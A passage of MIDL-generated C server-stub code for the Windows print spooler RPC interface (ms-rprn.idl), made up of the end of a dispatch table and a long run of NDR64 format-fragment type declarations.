NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable = \n    {\n    117,\n    (RPC_DISPATCH_FUNCTION*)winspool_table\n    };\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for IDL_FILES\\ms-rprn.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1091_t;\nextern const __midl_frag1091_t __midl_frag1091;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1089_t;\nextern const __midl_frag1089_t __midl_frag1089;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1088_t;\nextern const __midl_frag1088_t __midl_frag1088;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1087_t;\nextern const __midl_frag1087_t __midl_frag1087;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1086_t;\nextern const __midl_frag1086_t __midl_frag1086;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1085_t;\nextern const __midl_frag1085_t __midl_frag1085;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1084_t;\nextern const __midl_frag1084_t __midl_frag1084;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1083_t;\nextern const __midl_frag1083_t __midl_frag1083;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1082_t;\nextern const __midl_frag1082_t __midl_frag1082;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1081_t;\nextern const __midl_frag1081_t __midl_frag1081;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1080_t;\nextern const __midl_frag1080_t __midl_frag1080;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag1079_t;\nextern const __midl_frag1079_t __midl_frag1079;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1076_t;\nextern const __midl_frag1076_t __midl_frag1076;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1072_t;\nextern const __midl_frag1072_t __midl_frag1072;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1071_t;\nextern const __midl_frag1071_t __midl_frag1071;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1068_t;\nextern const __midl_frag1068_t __midl_frag1068;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1065_t;\nextern const __midl_frag1065_t __midl_frag1065;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1060_t;\nextern const __midl_frag1060_t __midl_frag1060;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1052_t;\nextern const __midl_frag1052_t __midl_frag1052;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag1051_t;\nextern const __midl_frag1051_t __midl_frag1051;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1042_t;\nextern const __midl_frag1042_t __midl_frag1042;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1041_t;\nextern const __midl_frag1041_t __midl_frag1041;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1040_t;\nextern const __midl_frag1040_t __midl_frag1040;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1039_t;\nextern const __midl_frag1039_t __midl_frag1039;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag1030_t;\nextern const __midl_frag1030_t __midl_frag1030;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1023_t;\nextern const __midl_frag1023_t __midl_frag1023;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1022_t;\nextern const __midl_frag1022_t __midl_frag1022;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1021_t;\nextern const __midl_frag1021_t __midl_frag1021;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag1015_t;\nextern const __midl_frag1015_t __midl_frag1015;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1003_t;\nextern const __midl_frag1003_t __midl_frag1003;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag997_t;\nextern const __midl_frag997_t __midl_frag997;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag996_t;\nextern const __midl_frag996_t __midl_frag996;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag995_t;\nextern const __midl_frag995_t __midl_frag995;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag994_t;\nextern const __midl_frag994_t __midl_frag994;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag992_t;\nextern const __midl_frag992_t __midl_frag992;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag983_t;\nextern const __midl_frag983_t __midl_frag983;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag980_t;\nextern const __midl_frag980_t __midl_frag980;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag977_t;\nextern const __midl_frag977_t __midl_frag977;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag973_t;\nextern const __midl_frag973_t __midl_frag973;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag971_t;\nextern const __midl_frag971_t __midl_frag971;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag970_t;\nextern const __midl_frag970_t __midl_frag970;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag967_t;\nextern const __midl_frag967_t __midl_frag967;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag966_t;\nextern const __midl_frag966_t __midl_frag966;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag965_t;\nextern const __midl_frag965_t __midl_frag965;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag961_t;\nextern const __midl_frag961_t __midl_frag961;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag951_t;\nextern const __midl_frag951_t __midl_frag951;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag948_t;\nextern const __midl_frag948_t __midl_frag948;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag942_t;\nextern const __midl_frag942_t __midl_frag942;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag932_t;\nextern const __midl_frag932_t __midl_frag932;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag922_t;\nextern const __midl_frag922_t __midl_frag922;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag904_t;\nextern const __midl_frag904_t __midl_frag904;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag903_t;\nextern const __midl_frag903_t __midl_frag903;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag901_t;\nextern const __midl_frag901_t __midl_frag901;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag883_t;\nextern const __midl_frag883_t __midl_frag883;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag877_t;\nextern const __midl_frag877_t __midl_frag877;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag876_t;\nextern const __midl_frag876_t __midl_frag876;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag875_t;\nextern const __midl_frag875_t __midl_frag875;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag867_t;\nextern const __midl_frag867_t __midl_frag867;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag854_t;\nextern const __midl_frag854_t __midl_frag854;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag853_t;\nextern const __midl_frag853_t __midl_frag853;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag840_t;\nextern const __midl_frag840_t __midl_frag840;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag839_t;\nextern const __midl_frag839_t __midl_frag839;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag838_t;\nextern const __midl_frag838_t __midl_frag838;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag832_t;\nextern const __midl_frag832_t __midl_frag832;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag831_t;\nextern const __midl_frag831_t __midl_frag831;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag830_t;\nextern const __midl_frag830_t __midl_frag830;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag827_t;\nextern const __midl_frag827_t __midl_frag827;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag826_t;\nextern const __midl_frag826_t __midl_frag826;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag824_t;\nextern const __midl_frag824_t __midl_frag824;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag822_t;\nextern const __midl_frag822_t __midl_frag822;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag819_t;\nextern const __midl_frag819_t __midl_frag819;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag817_t;\nextern const __midl_frag817_t __midl_frag817;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag816_t;\nextern const __midl_frag816_t __midl_frag816;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag814_t;\nextern const __midl_frag814_t __midl_frag814;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag812_t;\nextern const __midl_frag812_t __midl_frag812;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag809_t;\nextern const __midl_frag809_t __midl_frag809;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag807_t;\nextern const __midl_frag807_t __midl_frag807;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_MEMPAD_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n    } frag2;\n}\n__midl_frag804_t;\nextern const __midl_frag804_t __midl_frag804;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag803_t;\nextern const __midl_frag803_t __midl_frag803;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag802_t;\nextern const __midl_frag802_t __midl_frag802;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag801_t;\nextern const __midl_frag801_t __midl_frag801;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_MEMPAD_FORMAT frag9;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag797_t;\nextern const __midl_frag797_t __midl_frag797;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag796_t;\nextern const __midl_frag796_t __midl_frag796;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag795_t;\nextern const __midl_frag795_t __midl_frag795;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    NDR64_UINT32 frag6;\n}\n__midl_frag794_t;\nextern const __midl_frag794_t __midl_frag794;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag793_t;\nextern const __midl_frag793_t __midl_frag793;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag783_t;\nextern const __midl_frag783_t __midl_frag783;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag778_t;\nextern const __midl_frag778_t __midl_frag778;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag775_t;\nextern const __midl_frag775_t __midl_frag775;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag766_t;\nextern const __midl_frag766_t __midl_frag766;\n\ntypedef \nstruct \n{\n    struct 